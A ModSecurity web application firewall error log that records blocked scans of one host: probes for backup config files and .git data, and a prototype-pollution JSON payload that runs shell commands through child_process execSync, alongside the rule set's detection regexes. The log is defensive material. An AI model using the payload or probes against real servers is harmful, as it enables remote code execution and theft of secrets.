[Thu Feb 26 01:47:35.706894 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn5AAAAAI&quot;]
[Thu Feb 26 01:47:35.707033 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn5AAAAAI&quot;]
[Thu Feb 26 01:47:35.707249 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn5AAAAAI&quot;]
[Thu Feb 26 01:47:35.707411 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn5AAAAAI&quot;]
[Thu Feb 26 01:47:35.773916 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn5gAAAAI&quot;]
[Thu Feb 26 01:47:35.774202 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn5gAAAAI&quot;]
[Thu Feb 26 01:47:35.774407 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn5gAAAAI&quot;]
[Thu Feb 26 01:47:35.885757 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn6gAAAAI&quot;]
[Thu Feb 26 01:47:35.885977 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn6gAAAAI&quot;]
[Thu Feb 26 01:47:35.886151 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn6gAAAAI&quot;]
[Thu Feb 26 01:47:35.906992 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn6wAAAAI&quot;]
[Thu Feb 26 01:47:35.907233 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn6wAAAAI&quot;]
[Thu Feb 26 01:47:35.907429 2026] [:error] [pid 2330790] [client 93.123.109.214:51680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-YJ4Cbt-ue5ARpbmjn6wAAAAI&quot;]
[Thu Feb 26 04:58:02.078938 2026] [:error] [pid 2333221] [client 45.154.138.133:64353] [client 45.154.138.133] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ_EyiXUWmQVCxTKJtl2xgAAAAI&quot;]
[Thu Feb 26 04:58:02.079172 2026] [:error] [pid 2333221] [client 45.154.138.133:64353] [client 45.154.138.133] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ_EyiXUWmQVCxTKJtl2xgAAAAI&quot;]
[Thu Feb 26 04:58:02.079346 2026] [:error] [pid 2333221] [client 45.154.138.133:64353] [client 45.154.138.133] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ_EyiXUWmQVCxTKJtl2xgAAAAI&quot;]
[Thu Feb 26 09:02:10.857468 2026] [:error] [pid 2339348] [client 85.11.167.4:41718] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1772092930_1221&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-AkgAJxLScptloJviMQAAACc&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:10.857598 2026] [:error] [pid 2339348] [client 85.11.167.4:41718] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1772092930_1221&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [ [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-AkgAJxLScptloJviMQAAACc&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:10.857707 2026] [:error] [pid 2339348] [client 85.11.167.4:41718] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1772092930_1221 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-AkgAJxLScptloJviMQAAACc&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:10.858801 2026] [:error] [pid 2339348] [client 85.11.167.4:41718] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-AkgAJxLScptloJviMQAAACc&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:10.858970 2026] [:error] [pid 2339348] [client 85.11.167.4:41718] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-AkgAJxLScptloJviMQAAACc&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:11.042946 2026] [:error] [pid 2339334] [client 85.11.167.4:41724] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1772092930&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;app [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-A8B8DYqCpN9V7UtbCAAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:11.043087 2026] [:error] [pid 2339334] [client 85.11.167.4:41724] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1772092930&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-A8B8DYqCpN9V7UtbCAAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:11.043165 2026] [:error] [pid 2339334] [client 85.11.167.4:41724] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1772092930 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-A8B8DYqCpN9V7UtbCAAAABk&quot;], referer: https://pms.test.indacotrentino.com
